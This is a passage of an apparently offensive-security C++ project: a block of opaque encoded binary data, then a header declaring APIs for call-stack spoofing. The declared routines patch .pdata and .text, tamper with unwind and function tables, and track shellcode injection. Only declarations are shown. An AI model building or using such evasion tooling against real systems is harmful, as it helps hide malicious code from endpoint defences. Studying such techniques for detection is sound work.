z{Xin0j|w1Wmriow1Gdcgg5L0c7U0zo4v)P{1$7t4H1ZbBCu_M?8P;ra*Bb`p zEnX_N67A8bEUAbaGK;}q$b_5w1cAd0VwK6U1dN%NP59knwZ5Myzk|7 zhWNuT*DJCb7?nUKgzOzh-fY>M;RRPxAj0(GX(u4pu299juEu-j?R=`;$V82RNXfF# zqZlPcy)9K2x|+pfa6roEHlF0!eZYB4LXykFsZYS=CHWORc>qMe5g7uYqm9>dl_zSH zo6UG$co+$;2>Fa!nqxaTWckfinp=GXZFS`P@a@4ry*@s-SV?%2O zlxIcX1idy+dWePX|Ly~s2TOg4*GQBm$Jh-#8j_5TdnL~%)hCMA>618vcbLwPdlBZT zRAg^ze-pq#sjH55R(*4n>9h94da0btIDl_|Nt7!*foGl+O3iH!AYT|rNY-<~TEtq6 zy(^K5@e;(vV5Yg2s=s;K^h02l%TB4s-e2gHp6zZHg!uJWz$Ti55uo{G?f zo?ojt_hv7B6d`1XYwD@IbCz>EgKVih2IV}xK?*{$pc}m1TDH0lz5FfDTiBN85rfxO zbnT!lF&rxD|Ghk~Eq-D1f0pO*8H{gc=sx-t%*}BTCUyb`NxN5Z@oTivtD8pk4=={z zMbwYl_1x?gQg2I-<`A5IZjtOt3s1eQ&sXT?{bT-#*HR2BG!qxi^4KiaH+*%;A|SVy zWyzQ$2@;aYeop+4$I*%7HK#u4_&|ukQ!DLo!7}_8*A|&%diDJE@2cjO| zWG?d(Q{Rd#zL~kalQ}x1LB72An0mk4M)ZS$Oc0@S*$<&C=R`{SRqkt33OANl#KH$> zqx&q1@QjK&9|oR!x%X!+yt-8TadY5ig28+_7t=F=yh;UTp4=a16wWq!5x`Rc!n-$I zLh_c)9Y}MhScY0=a=6{=pZ)JaqmgLK!yHCM;#}tBphSZ8j#!U6KrFS#Q8lQY;L7)Q z*jV)(K&|KQ?o!{IAMnYO}LRF*|@T~$zaF7-=N(8lut$*?kLxEiEkV^Ovm+)ID- z1Wg|a=o!8=yoZr5CIRj7>KkH}+=b(>Uf9*CA9((@$3d$nc0=2Z!})ftb#3pX>qewg z=TB~#rag}F_feq3nZi?q@*Cbw^W$&77GhsSgjMw^kpL-G+O1$^cgO=V&9K8cn(+F2 z^ElR#p7hny;9o-zz;{3`uI?^CDf^yi_s999y4q@`wjAxNeEv><$@PA%EBp^~J*ij> zNU?3nfN$Z@LG4O#Z+^IWjt1ZGmw>6lfj&tA?t2M*HVY+<9x|Kl>+(f8Gt*Oiah_*a z)BX1%o*9yq3mWtGbqTZnoVdFpQo^XDlK^HvC)AeyBgp)zF8CNzpyMBqL$;^50<|ul zAK(1U68GYLm$-H$4B$L^-Ba64X>_HxSD>!oyJx@L5|(0HW&CNNU0zmNDtD4Db%3_4 za=Tu_U5^DRmF`+gh}WI7T&O^}N82=asxLEls72W5>XWJC)qK?Y69 z)xB58OEliy%l!p6PQvXyx_3_ii}b350Hdmh12ZaA8$WkYLe!DlXq3fUvspx5O8xD= ztE>^aD+@2;Z*%|j{5*W3)04FfklMMi5pQL-<9Ll?v9-g6g5k8^8a}lnegnkSw6GI$ zorl1$*HGRUk+p>cwA!HPsQs*S3bn=CH8K^AK*H{kuhsad2lj6+l8!2=4;4N|yHx|x zC{+(!h_tB6q*c36y_8P#^&Jf&95$hPBoRLq{uPq{lbV6Ha=iF^8s;?hOeA@WDYX2&ss zu^S4EpqAPyX~wtvK0sZE@^yI0s}R6ZbCi^#0c6=RJV!+5LR`?oEC;bI)SbBP<6#4STUuHgzK&Z3CCF1wg!f*sJfN&Bz}C#)_#NN z7IcUEteH*fe^vNJ1ObMdqpD_ev(^2K1hvY$w;7eY+s=j1lb|vCQ zw#B7~vk4F*%7a#UB~Lsa|8eY7>*;NYp8-f(Lk9I_Onl<@8|rqJ=qB72Z~Ir4XirZL zs4cdz$9Uzd&33-#x7y*R;D;_cifr%4PCNP~gvb=rlM{%4-3q=p`$Gx+qXbC;?H-$9 zD|Y0na-SAkzTT}a-Wb}xCV$g!riE@&Iu|`~hrnrZuTCc85bb8g6e+CXR#*xv{ffvl z*LxXG838JlBoMHH!Mv1^Hnq;*7_XvTr!j3I-I{k&vNj&m#(KH>o=o?_mb{-^1>YEl z0!yT2R6m70rOSNoPkHMOL9v){zrwNX3jvv~^)$Po`BBaY!UH@i=NZqT1tB4@X^)Ly z(x=p@V{L)1v;Yv0;;=tV*T~D+W%hkPl=NdpY2__NGdx%F{;IsC{r5 zmREZ}0Wi*X9`?2?*YBT2j&AF{_g_5IB`)=+Gy*kwI$6~ zlRq3;j>VP6MRWsdrm)-UuAFG`OHRx5d#sAk!fUu{gEuN7K3~I8D{!sa0R^>C!VOV4 zuBRh`X3_>Zj=rjX*Rxd2lSbMV{rBw!Br+&FrzA9PT#5VD!F1N*K&6p)Q}74CEFdRt zrGv${=j%20fm5C_nvPCT7POp25Ed==}eQr;b9rD;;f=X32tl2mUlL+ZKd@g9kg4IB*kOV{)LGB4tGY5E+@(&*~J&-^gYRQLhc$Lm_-LoqkUQ$`V*D7Xy0yz={#CRX2M;%8FJ z&3J+adDOTG*KH21!YXF`X%;ng^ZIETMFU=rX-UTMe{F|9;zViYd8` z6}o4vg9&FxZ6xu7N-B?w+pz@rxqg*E;vwmIn-eo4o-)iT_};yZo?)h@Kb)|T zMQcy}dPQDaSakWoXc#)b_C#8tFufQ`_ zjmMw2p~)gNREYRPctZIjSwzJ=@y|Hpo|jk%{wg%7t%WR7k}Uom_Ip~)Gy?CnKXIj< z1#&cxA6suNRFp7%P1UH84{sbPc|dxw>6ov*m#Ob;1&StBD^kKCa3$SzPRKJz&t9E( z>!dL5V3GwgIf~lvxcK<`2~0R)sPy+Rl-Uihj;FjxvW9ycd>wk9>jPu|WJU4c!KZIA z(pTEM@cpIHpZV(yC|0h|Lc-l0wshC`{|Uldjzv6bDPF*mi}W=5Sqo*45JL$#(WO;= zuO~5R&xBPM36qDo=p;~w=-9$W4n9WDj+ov8mE1Mzr{bQ)3S&)6yziRsvRKA?&N1Ni?b# z`<3ONJlfP7UT&mSuN;g=!D{YHFLz4(nra#pUCwzXQ1(sCvyQz&0mIV`72m(tBf#$@ z@?S#X|M!ke6eRH{nX(jbux$eJpPbng_J0YItCZCdRcjd-_5w5oH6s(puI1oUX{^RX+iQ6Yh2Gtc5QAjv7m6HwWHyYgFtp;@-Nb9ITYub-?6dDFv115 z>(Vpgp7{B(qRB`=@?n7aUK%_DNNyYV*26FWM>6TK%H2i2b&^CGg zjP_v;YCR5Fdj7C{;u)cuv>hYsFjlCQ$TfrK4ZFEKnR~fBNN(es95oNf15X+C??9}a zOi!YPMh9wWzllJpqqb+6<0C5HIDUvFW}Z_ ziFV%drd~XwDwy!V>JsLAA3yvUdhfc=!I346YBL?uTGN7FsTI`gw3?i%naVSpYRRcE zf1HT-G12pHYO**k>HTbDM;13xu*?antX#9A?g=deh-vE4uF>byEKjSm=5S--Fx#=ek~@Bdd{DBORsoc z!fH01d60cWC4whN;}|~WgYjYh&f|a%@9Q*Q;W^C%I)>h#!w8q*k-s{O8AF)jessFT zGbTpQX=H%(K?dm^D66<7%OCu)df<>XTC?1e_SA#gT)(~o+1@P8q(%Q^lN8-8C#&bI zXoZlk_H7CGt%_ljW`l1aq$8|G*TGNZP37br#iUPI58rbdPPkxT3M8Sm7F(SYh~JQl zrq%%_q}>{A$)1(Y6F_Ll+HKY!gJoHY;xtc5eD$xcLn;t*%qAcT#Eg8L_GQCNUFz9Rcr$H+!ixfmcqMN5_jy z-fcK6tiDnF@q=l&a2clHG{H=@`n2fRpNH?Q6?|avuUP)n=Rznp+a|CU2F8)i_3;w8 zYa05#5ik`{%PiB(TV~0b@6TSDq%66z*xbGg2klE?Z0S^Hiv@@GzlXJrexh_)$3aMJ zc%5l4NtgGPK3_z5xOsE5}g?!i?MJZ{(H4dgCF- zyoNkHnVAjt9_{k(ke^*j~e0@QpHVb4tV z{CH6@f(4oIrDkx&hcg`Np?P5O2W-Jc`}HWGSNvzmnFDU=_XkAmfvNOeQnvRk%c_-| zGjop)44ee&>&)jpjTBELE;l0y%p3u7=?N3dku1c+Pfxh_(t0U8?gsPG_a&R1z1n``(lbB> z{Xe4@Ggw$EspbcjIZl7#Per~Gs#z+HFjU8hd_UFNxRbpIYg-cuW(2PR3MaR7`k)T} z(513{g`Wy0i=88lyi;#5rY#Ry4e(6VIO*-Bu|xwwoIvuTs*(4%6T^xhd~W+GqJ^C> z65Lx$)~;KhVE5GrELD#898MbOIp|(qI=kSd-5vbNDR(2?Kg-{F;5Mon)xKsA^Mq{n zuDebYKw1EU&M8G|6bg?_wwd)mlsWbZn4Z?~QOmu%^z`+HHf89?DHmphRMP>n7F$^e zHRm9u_SD4-fiKl%!}x}dS3ld%PqFyJj$Q2&RVVbUm(WS!kG2@;*E`9HJO|&ocx5u8 zs`GVA+@RMlTYg6AdAUvnG2lo9w*bV6&Xe1H_)m{#6Csxcc#@t}Rmh~-Sw5?GHMTtI z<7g+n@2-)1K&5SOA8f$-eteJX8eoY}dZ$qHslLtUqCx|8jIvgz?6`khX;fMdFfV#8 zq-I+oD0focu3B-Rt+qV3TFPVwOS`S8z^EU$k)0#^Q#=Kv5yj-M)J4i)Gf-u>z|5yQ zk6OF2$CYNdD+;X8_i4-0t zs~tc5*GU4nj@zWqy~_!F`%lG?e~)VUV8v#~g7m;H*69GdARc*DbwLfoCpAJMhSD&` z|F9ldt*Dz``wQW$E3TDecKhYWvHX|S9eg~2Xfn_Q4$yXOAeyH`wirAw2ohWF+FMbi zBB8-Vs%;_>$P+J!6?PvOQ*D!i;1PQtF65`I2yL$e#3dbB{@*1T5^Hc_R(+(J7>*mw zTe5A3F9S(nUQnC6HvWRzFY}(q{T*YNW9532(2dxo2k#&q#?O5%J{$)|p2a;-7ck3=-;`y(y++NUSN_Bs8BOmOW;5H73jtb4y8Mx%^QQSNpwpa1 zrv07VMfJqA_BGQC*Df3+bP^}t_+_?@)40;A;!YcM_ttn<0#)FDHQ*N;1|hS4ofUIa zG8map{DhzaHS+S%DNk_3yya23nuJiRj}QCfn2tnezhY92?u*0c;G;Kiu4GZCE?9Lw zE4sz1bjtp+d~T65=QlBYk4|_eO`97!N?N?6rN#wc9(R2>fIN+}w7K=+@suo0>v@|1 zSTM;)F>J&``VA^w5i^?GXT3f*Do%4}MSF3cOqKV?7-D#78rb@)3%*aX<7Q_RJUW4P z53bL2yvMhKAQgQ&mM)rQm1yOPzY!xxagaVkywG-p?2GGlT3_r<8T#dBr5AYn^}4BV zB5pxQpMI^u5QO9O03wFzr=vm+nOpbysIMKDU47G=2f8-zfp`4BnmhM+ru+VnUll2e z2unHCa^+NpQsmUZA*CdhGfB>bEpwPzmr}BjRLDjuQ8~+TPGQcrtGX5B4{|kgDeFta;K!`%BvQKsPg*H7$71fCtJmJRiKF)il1js$9n~#Qm zP};nsFw?Q?^(m9%HFhGWtiY^oG9o-1cUGMRX8E?3$quWt{11m^*TA9kobSM)`D}ap zOrprk&QU<3_zrdGT;u^3=HTUy0)_C=^^e3Ssm0UzE*y;AM@^I3WO*h92=k6Jj4PLY zUF$9soZ+3OJ;HuVy`Y@e9O|QZHrSnCzs^k{>YCyqu&+|^EA>}V_*)i65_%)nHxAU@ z)ht3URK~};E9bBkVUI>nGc-O~`oRi*WsNF}O}Py0Yfnv=h`;F(>Yjx}OEoFa_hXO= zw6=0akewFAg|vF4eXa!D@ymIDWPx+)__59)19PNilG% z8rWAc(+y#&mA4hC_Nm6n^#w#FQO9E-WBk@_!PFN8Jj)s0KDF6NxBx2;9IxPIuAYyH zGIs*&O3fYBC5H`tzh0ZR@_Ja z+cHrUXB6iDs7o1j9k7xIbgxxl+2UFHGGw2a9YaEs26^2Aa9oA__$E2C?lY9hRiMa8 zQm5*nsiUM_$+SHyF+4=9Sj{UkAy_SIY)5zJGE;QlQG{a&hXy79LLAL5PaN;Ss~jvL zHefhHj2;J4$V&W3oS5^e3kf4zCeFgO?6xb<-XXB((Z>bvIF%n6*!Wr~=$GnOO3W!kI5-aa(}ikH&Mo^6XjN!l3sa z+}YOmO`?x;@fmC(=tY$*!}5{-+robhHw9Fi=@yrW!1SDVJ6`MZP4nAN^igSAfO^#y zkqcxU{owa5)^T3HPB#@;7MRdZ^<+SdC1gnU+M4hSbe4p^e%Hb33 zQnu-Ca7%w5${2~j&l!?pTNAfZP=x-YXdg+t*7turV1Ir_D|e;wsjK&M=1lB?oo!W-v+rx#TaKh6&vE=c4aAahs%0ubwZJFaQ(w z6UuTn(GbdeF?8t_){e2>vZm2c?SPIm`itvb8Xz_J9B6&WV12_{*(aKF@|)0L|7d<@ zn4CU3?3uMK;OYA!M^;&ie-K9KqbaCBVu&D7C^XK6?w+i?UmK*Zfq!-( zwpTuynNa$+HO%ILnJT(-|jW$6#i4w_MG7HUeK* zjQgWn&Aq8<_37oEwZ`x)pp78T{L-%RB)`e^E-HzMgDA;N46Iu+$2eHm)Js{RB_?k* zNF5n?hwRDEr=P7m;;{Ek*UVb)TGMz60%hIVw+`X&*${f6UJ@Q?TnFn!_ZbH9EzPJM z_|(Gx{+_FeR$}4vV>uc|+>b0yS;EntIi6gxtH#?e>Z7Snrtjg}l#YQCeLxY^o2lY- zot%4g#`>G*wxA=kDX-*NN4UlQsjb2RokPQxr?iM){OyVt*@IeD`|8A%;nNM{6tI&} z;q$YH74;+TcNTSkhP)tvq3Xbo^ThmwJsw;o-#fH+5+ zks(}!l^EMMAV2%mI-_pQXf;s+FhK*(3pM`}!L!NyYh_lYK5$F=&h9x<5Gm16s$u1q zy><%yGF87O*EDx2d;0CkD?0yvvtLyATLA z5Zh)>0e@itj(&gVp271D#Uya&Z(gge{wqFK8Lnmroe-OEI!J~V>ne~;5%u1>^qo+&4ph0p5~QV49v$izcl_!cZAOm&`Mw z?QMg>nQ!d@*Q!ruD?s`Ufj!Ssqi~ADAbDzU2&g(+$MO)=eh$dA``1v>^WH=z;a4E# zn#Yg?eTjk9B8-iV9hVgJXleqM6xcP*Ei9*5{h?|J&{G2@Bc?JduT{!ecmR}elBepv zK~qdrPa@cFNaGp48wk0~P}SxtUOQHu>wt^fUuC)R;e$-PKyxGDZpA8?kACP*3$CV+ zBAG(7LW#vBlBJC7d^`MQ22g5Zoqm+;4o4ifhX2DK2X!4xbr?r@mrc1YgA;-FtT8b3p~v?Fz-uBp?)!?yl*Uh1~+ zkV6R|+@oD>HE`YoEzI<-g+`H_oE1CZuXt=q(Rclp1^6txO%x~nE;|1x!t_aRcs z`eVD{EfkeK&s(LKOAo&>MV{Z7qQ<*h`Cv%-ZjWtCq=0?w7rvWA(>lU>9`JQt58s`} z24Y7Zlm#ekpFdquJ6&{`pAsrex2KAaW-IC&r82TA@k|0l<#?X<-u)v6@Gk7)K%Q60>mEEo}0Kqfjff zog1!{5Mh%S<%!VWsoWNDviI?5^$nzjL4Raxre{nW<(w8eY0zrghLW!n?iks*);Tc_ z0VdQsW6R!9IFzGd4i0g`*72kCfiNj)9*Xh3)#ChfdrzV zTj!TMf33DchnB%imP0#qb>)hyChQ3z{ai zn})fW@?Qh`<(`6s$UA!GFb53QuKsqx{PB>3nR)702x11qik=i?2jT6ZF8q>nmwK`0 zf=g&MnRXLFKcQX=4EG(bSI^1e+i$l}z+M0lM6x8XX6tX=zvGQ5Y$ELKjGdR<4k78g z6DzL2`s_{wh!KWUKv_H}e6o%8F@t6)?aeBJc@Ak@DY<^XZSJ(t5ycF8ty1Uejm5k3 zj~etwA#*0l^a)4K@s>qjvu zzU4I_wORYy7X*uaJ>p9rYO1dHK5AC$MV&K|62*1e%0Wp?^CW0zeiH%G87qnE&qlgZ z=et@ik`CvZHuLX>BG}?6$SeBqwSG5ym8tT?1a;`EFW>WiE7bexhl5yhOr=Cwsz%NB zyj;Dk!b&2j0WO#bal_(W%CnDvFUSe6L=k15sN89?Cq4D}9`E!wsmoZEBi9zGf69_R zd8qG!v#OL+>CwyN$&S3lz{L5gSf$NAwLDo``nOw%u>nBGZ6-f<2t4S9iwxOchn-L9 zQ8f77>Z%LAYT6f)A2<4r&=n*mh93{-tb;3dlq)i_o)$jz+eciVE-+CC?F$4FhtPpI zk6lQ_pZKZx(wqR2Q1K#T$gYEHDF7BD1}UJWECDu5&H1Vte8H%-@-*g(S2Sr;cN=B? zv2&yw8lU%ilB zY4&QzffKdDZEiNRp+RIt1+uwxq}a-Rm|Nr%5c*Ek+!aR3pG#%!zdaZxh%Q{NOB2Z3 z-t}=u#5MTu7^-N$RN%MMJrF4>z}9?MjqWOb)hy^4BU2)hcFerSoJL)wEoVe;k0ucW zj+R^BAYeX-&q5u_of{jxZU5h~M3eZJ0cSn;47izz9gMJ&H5#V)-8WQN7RyQj_3356 z;|azUivbe@G1h#p!xpWXxt@A4O0cSWWc$URv#1v6` ztXoOBZy%HhXOvuOj_UoDHG#V9Hp-El=Lgc1WSpo)J;m;+aq;lSS+rJncQET=-k_CZ z=GKZ07_vAUGsUHRkopm`TF%^*skQ%J6?-$a5~x0DANs2n-}=G6RiD7&Wd5Jj)-I+8 z_~Q`llo;CZwc*A-2vzkCa6Le?XTN1NSJRl2ke1*i>tYfzK55`*nazpzca-B=1eYyW z+x*LJyufiT1+dE|L6qs8K)-Y71LK@}tT@rSl~}!k$wLWRu7nuKS`|)-stzMZp*qVL zr@L&5l)eo5mD|b(EcXe==PJ<^G;JU8wfXLL1t7mVO5_d@1o3^lle?K3Vk)FffvXo- zZCT~usptMciGV!iKcPgXdNf@rv+Y@-+L`vH>!WdFe1$qY;XJiLa*Qieb6Pk)&X>o>$>~m`GUpJ0a?=vN*@ku|1 zQ;(M|7oEpzaC@>;l4(VZ{Z1=nLgdq}4wIYF|1EgPU6=Nr<9)=&Ar+otBgfxRkYh46 z*fca!Lma;q7O1F3Z6JMmM@jpJ8W@Qawi>=%RNJ-pwM2|JhTg2|Py>WzEHYF@*1eMt z-pHEJ3Mg$VmaU$t%LEtJ>i24D4SNr%>TIeXO?igw956Ir0xHGeU^*`eujxMV7(O20 z+NENw0XWKCLWOw(tUf&cD__tNWE}p5GL6A-u$mZ9y)LoODRAxZ(sTz5CEmL9p(5?h zsL&ReegPT)OAg64h^`i~9mSXO%A=ntkze3;Qvjz?*-ormp7(OYu}^sYzUkr4{Hdb` z>EYXeei{Bry;e;_n2=U{nu*e8?iTp#x#!>-V6fU@^r@cIIws(G3ozl4>(9fcU~hTV zJ#{`O&igG;v3O5@-oDFjwbZf^EeFN4h&O%f0FvY~HIC_bk4&$X zO)@B5(46+oDQj-AwaM|s#^y(^;N+CxPV4hJO{J&Q?a+Q?DL{AuxQrr8Pc}~=KRVEJ z*z{&+)4poeiP-m@f~dmPv2JA^;k_x%%}K z{eBib$747=0qR?JB}$8_JiP2m#HVXmKjx_&M~??h8$bbVAe;><+xgNeUDhrEIwIjGl#J%M3fCLRpqd_~kYm-|cZ92|ac1U+l9yB>r`KlnuB7XgNx%YD6=_i0Mlb;qZvRzZ#mo4alw7CcQGo z1#p1+p$}sMb%{9=qpM?Ft-43ff{6S{e}}^ZFj_X!nGGMkvw81E{h=4i{1I3YVU|BK ztE;G+xmY*2<0bjjZ1>z|llxo=QLi(Ry0o;dC(_eq!6=CDfo+fiohG{&YUGV z!VdV5$D&TpQoVHomL)ln`TN?uF3|?KwZ*t-p?ljXV`Zdj0{u#Cp=0m7D&Jusi4bks zmmhl|IJNK9a%V5c{(VLgMQ^qUK(JE|u=n$M%*vbuEiTV+mt86?b#KeP>L}6t&2+h! zS9La$H_72ENMo&L(m!n%sYyJ+bnj}dogxeI16-$KFS>F?4GqvW-f!(B&`!XcEH2hu1)*~bDwCT}CWr({yv{%W}$zHT04hMIh8 z?y@Vb;O%`2vBEFplwE}-?vY{d+>I=Y&(}1E=@?*~FRgB(^;JDv1*kh2!*da)sYA=O zYv7rgK=ZTK>0ihPB8BHo2;%#Nd2$W3tq`UPxVzv=jZ`)c+bfIUe1IxMqR94tQ=hXSKr-p~`t=VgVz ze@MK1eE8L$o|6@BYz5Gw@0YFqk+|o$9!+&O)byWU1Ndo#ECPfiY%7-grx#yd2Bn>b zT$y}psQL3>@`8{2_)kR^{PaCs`2Nmfv<#F}$e~tDEmfoZZ`Ysw^Onm#V%S_9E=MkM z+HH!wlNTXNXpZlm8+-p^>xwyboM}!Q+nLkDd9$qq@$=0I4<{#n=)3i^cY~Q}Mq7o_ z)|Ey7uoGk-rP_d_H8%I5SoEbn+DI&FS9HRUt0-AO`j+_5b_@m=^0T*m0gUQ@*dZs> zd;el_S$)~YpS`-c=ifR;{?_7RZ&o#c-HK#>wL^8YhjiGSZ(1rK1_o9Y%9)em#L_Hw z-y>HnMNG{7xHSQn|JG6QpIH0|%;J3IOaYwPGCdYBPvzhQV;ssSw2`d*`Tm$#4yzAk zhe46qeqM?N5ZfgkKhDYECDcNNuh%Pt@rno>rS1!4+x&1IH8RXpq7lN$&i06H*e-Mn zrwzrr8=tM!Yk7Oh*v2tL{FC-|D7;(Un3ugqWhd^Vr0if9m$uG&yHfv +#include "Structs.h" + +/*================================================ +@ WIN32_API Struct +================================================*/ +struct WIN32_API { + struct { + NTSTATUS(NTAPI* RtlQueueWorkItem)( + _In_ WORKERCALLBACKFUNC Function, + _In_opt_ PVOID Context, + _In_ ULONG Flags + ); + + NTSTATUS(NTAPI* NtQueryInformationProcess)( + _In_ HANDLE ProcessHandle, + _In_ PROCESSINFOCLASS ProcessInformationClass, + _Out_ PVOID ProcessInformation, + _In_ ULONG ProcessInformationLength, + _Out_opt_ PULONG ReturnLength + ); + + NTSTATUS(NTAPI* NtWaitForSingleObject)( + _In_ HANDLE Handle, + _In_ BOOLEAN Alertable, + _In_opt_ PLARGE_INTEGER Timeout + ); + + NTSTATUS(NTAPI* NtCreateEvent)( + _Out_ PHANDLE EventHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ EVENT_TYPE EventType, + _In_ BOOLEAN InitialState + ); + + NTSTATUS(NTAPI* NtSetEvent)( + _In_ HANDLE EventHandle, + _Out_opt_ PLONG PreviousState + ); + + BOOLEAN(NTAPI* RtlAddFunctionTable)( + _In_ PRUNTIME_FUNCTION FunctionTable, + _In_ ULONG EntryCount, + _In_ ULONG64 BaseAddress + ); + + BOOLEAN(NTAPI* RtlDeleteFunctionTable)( + _In_ PRUNTIME_FUNCTION FunctionTable + ); + + VOID(NTAPI* RtlAcquireSRWLockExclusive)( + _Inout_ PRTL_SRWLOCK SRWLock + ); + + VOID(NTAPI* RtlReleaseSRWLockExclusive)( + _Inout_ PRTL_SRWLOCK SRWLock + ); + + PEXCEPTION_ROUTINE(NTAPI* RtlVirtualUnwind)( + _In_ DWORD HandlerType, + _In_ DWORD64 ImageBase, + _In_ DWORD64 ControlPc, + _In_ PRUNTIME_FUNCTION FunctionEntry, + _Inout_ PCONTEXT ContextRecord, + _Out_ PVOID* HandlerData, + _Out_ PDWORD64 EstablisherFrame, + _Inout_opt_ PKNONVOLATILE_CONTEXT_POINTERS ContextPointers + ); + + PRUNTIME_FUNCTION(NTAPI* RtlLookupFunctionEntry)( + _In_ DWORD64 ControlPc, + _Out_ PDWORD64 ImageBase, + _Out_ PUNWIND_HISTORY_TABLE HistoryTable + ); + + } Nt; + + struct { + DWORD(WINAPI* WaitForSingleObject)( + _In_ HANDLE hHandle, + _In_ DWORD dwMilliseconds + ); + + HMODULE(WINAPI* LoadLibraryW)( + _In_ LPCWSTR lpLibName + ); + + HMODULE(WINAPI* GetModuleHandleW)( + _In_opt_ LPCWSTR lpModuleName + ); + + } K32; + + struct { + LSTATUS(WINAPI* RegOpenKeyExW)( + _In_ HKEY hKey, + _In_opt_ LPCWSTR lpSubKey, + _In_ DWORD ulOptions, + _In_ REGSAM samDesired, + _Out_ PHKEY phkResult + ); + + LSTATUS(WINAPI* RegQueryValueExW)( + _In_ HKEY hKey, + _In_opt_ LPCWSTR lpValueName, + LPDWORD lpReserved, + _Out_opt_ LPDWORD lpType, + _Out_opt_ LPBYTE lpData, + _Inout_opt_ LPDWORD lpcbData + ); + + LSTATUS(WINAPI* RegCloseKey) ( + _In_ HKEY hKey + ); + + PVOID SystemFunction032; + } AdvApi32; + +}; + +/* Global Object */ +inline WIN32_API g_Win32{}; + +/* External assembly functions */ +extern "C" ULONG_PTR CaptureStackPointer(); +extern "C" ULONG_PTR ScanStackForValue( + _In_ ULONG_PTR uSearchValue, + OUT PULONG_PTR puFoundAddress +); +extern "C" ULONG_PTR ShadowGate( + _In_ PSHADOWGATE_PARAMS pShadowParams +); +extern "C" ULONG_PTR ShadowGateEnd(); + +/*================================================ +@ Function Pointers +================================================*/ + +/* From Resolver.cpp */ +namespace Resolver { + PVOID LdrGetModuleByHash( + _In_ ULONG uModuleHash + ); + PVOID LdrGetSymbolByHash( + _In_ PVOID pModule, + _In_ ULONG uFunctionHash + ); + VOID ResolveSectionInfo( + _In_ PVOID pModule, + _In_ PCHAR pcSectionName, + OUT PSECTION_INFO pSectionInfo + ); + VOID ResolvePDataSectionInfo( + _In_ PVOID pModule, + OUT PSECTION_INFO pSectionInfo + ); + VOID ResolveTextSectionInfo( + _In_ PVOID pModule, + OUT PSECTION_INFO pSectionInfo + ); + PVOID ResolveExceptionDirectory( + _In_ PVOID pModule, + OUT PDWORD pdwDirSize + ); + DWORD LocateCallInstructionOffset( + _In_ ULONG_PTR uStartAddress, + _In_ DWORD dwSearchLimit + ); +} + +/* From StackUtils.cpp */ +namespace StackUtils { + ULONG_PTR ResolveThreadStackOrigin( + OUT PULONG_PTR puStackPointer + ); + BOOL DetectStackCookiePresence( + _In_ PVOID pModule + ); +} + +/* From Unwind.cpp */ +namespace Unwinder { + DWORD CalculateUnwindFrameSize( + _In_ PVOID pModule, + _In_ PVOID pUnwindInfo, + OUT PDWORD pdwTarget + ); + PRUNTIME_FUNCTION FindDonorByFrameSize( + _In_ PVOID pModule, + _In_ DWORD dwFrameSize, + _In_ BOOL bStrict, + OUT PDWORD pdwActual + ); + NTSTATUS UnlockPDataSection( + _In_ PVOID pModule + ); + NTSTATUS LockPDataSection( + _In_ PVOID pModule + ); + NTSTATUS UnlockTextSection( + _In_ PVOID pModule + ); + NTSTATUS LockTextSection( + _In_ PVOID pModule + ); + BOOL ResolveDynamicFunctionTablePtrs( + _In_ HANDLE hProcess, + OUT PULONG_PTR puHeadPtr, + OUT PULONG_PTR puSentinel + ); + PDYNAMIC_FUNCTION_TABLE LocateDynamicFunctionTableEntry( + _In_ ULONG_PTR uAddress + ); + BOOL LocateInvertedFunctionTable( + OUT PINVERTED_FUNCTION_TABLE* ppInvertedTable, + OUT PRTL_SRWLOCK* ppSrwLock + ); + BOOL ResolveLdrMrdataProtector( + OUT fnLdrProtectMrdata* pOutFnPtr + ); + BOOL CollapseInvertedTableEntry( + _In_ PVOID pModule, + OUT PULONG puOldSize + ); + BOOL ExpandInvertedTableEntry( + _In_ PVOID pModule, + _In_ ULONG ulOldSize + ); + BOOL AppendCodeToText( + _In_ PVOID pModule, + _In_ PVOID pCode, + _In_ DWORD dwCodeSize, + OUT PDWORD pdwBeginRva + ); + DWORD ResolveFunctionSize( + _In_ PVOID pModule, + _In_ PVOID pFunction + ); +} + +/* From Context.cpp */ +namespace ByoudContext { + VOID InitializeSpoofContext( + OUT PBYOUD_CONTEXT pByoudCtx, + _In_ DWORD dwTechnique, + _In_ PVOID pTarget + ); + BOOL CommitSpoofChange( + _Inout_ PBYOUD_CONTEXT pByoudCtx, + _In_ PBYOUD_CHANGE pByoudChange + ); + BOOL TrackCacheNullification( + _Inout_ PBYOUD_CONTEXT pByoudCtx, + _In_ ULONG_PTR uAddress, + _In_ DWORD dwOld + ); + BOOL TrackPDataProtection( + _Inout_ PBYOUD_CONTEXT pByoudCtx, + _In_ PVOID pModule, + _In_ PVOID pBase, + _In_ SIZE_T Size, + _In_ DWORD dwOldProtect + ); + BOOL TrackInvertedTableCollapse( + _Inout_ PBYOUD_CONTEXT pByoudCtx, + _In_ PVOID pModule, + _In_ ULONG ulOldSize + ); + BOOL TrackDynamicTableInsertion( + _Inout_ PBYOUD_CONTEXT pByoudCtx, + _In_ PRUNTIME_FUNCTION pRuntimeFunction + ); + BOOL TrackDynamicTableTypeChange( + _Inout_ PBYOUD_CONTEXT pByoudCtx, + _In_ PVOID pEntry, + _In_ DWORD dwOldType + ); + BOOL TrackShellcodeInjection( + _Inout_ PBYOUD_CONTEXT pByoudCtx, + _In_ PVOID pModule, + _In_ PVOID pAddress, + _In_ DWORD dwSize + ); + BOOL RevertAllSpoofChanges( + _Inout_ PBYOUD_CONTEXT pByoudCtx + ); +} + +/* From StackSpoofing.cpp */ +namespace StackSpoof { + BOOL FlushFunctionTableCache( + OUT PULONG_PTR puAddress, + OUT PDWORD pdwOld + ); + BOOL FlushFunctionEntryCache( + OUT PULONG_PTR puAddress, + OUT PDWORD pdwOld + ); + BOOL SuppressPDataAccess( + _In_ PVOID pModule, + OUT PDWORD pdwOldProtect + ); + BOOL RestorePDataAccess( + _In_ PVOID pModule, + _In_ DWORD dwOldProtect + ); + PSHADOWGATE_PARAMS ConstructShadowGateParams( + _In_ PVOID pFunction, + _In_ DWORD dwFrameSize, + _In_ ULONG_PTR Argc, + _In_ PULONG_PTR pArgv + ); + PSHADOWGATE_PARAMS ConstructShadowGateParamsVa( + _In_ PVOID pFunction, + _In_ DWORD dwFrameSize, + _In_ ULONG_PTR Argc, + ... + ); + BOOL RegisterSpoofedRuntimeFunction( + _Inout_ PBYOUD_CONTEXT pByoudCtx, + _In_ PVOID pModule, + _In_ DWORD dwShcOffset, + _In_ DWORD dwShcSize, + _In_ DWORD dwDesired, + OUT PDWORD pdwActual + ); + ULONG_PTR 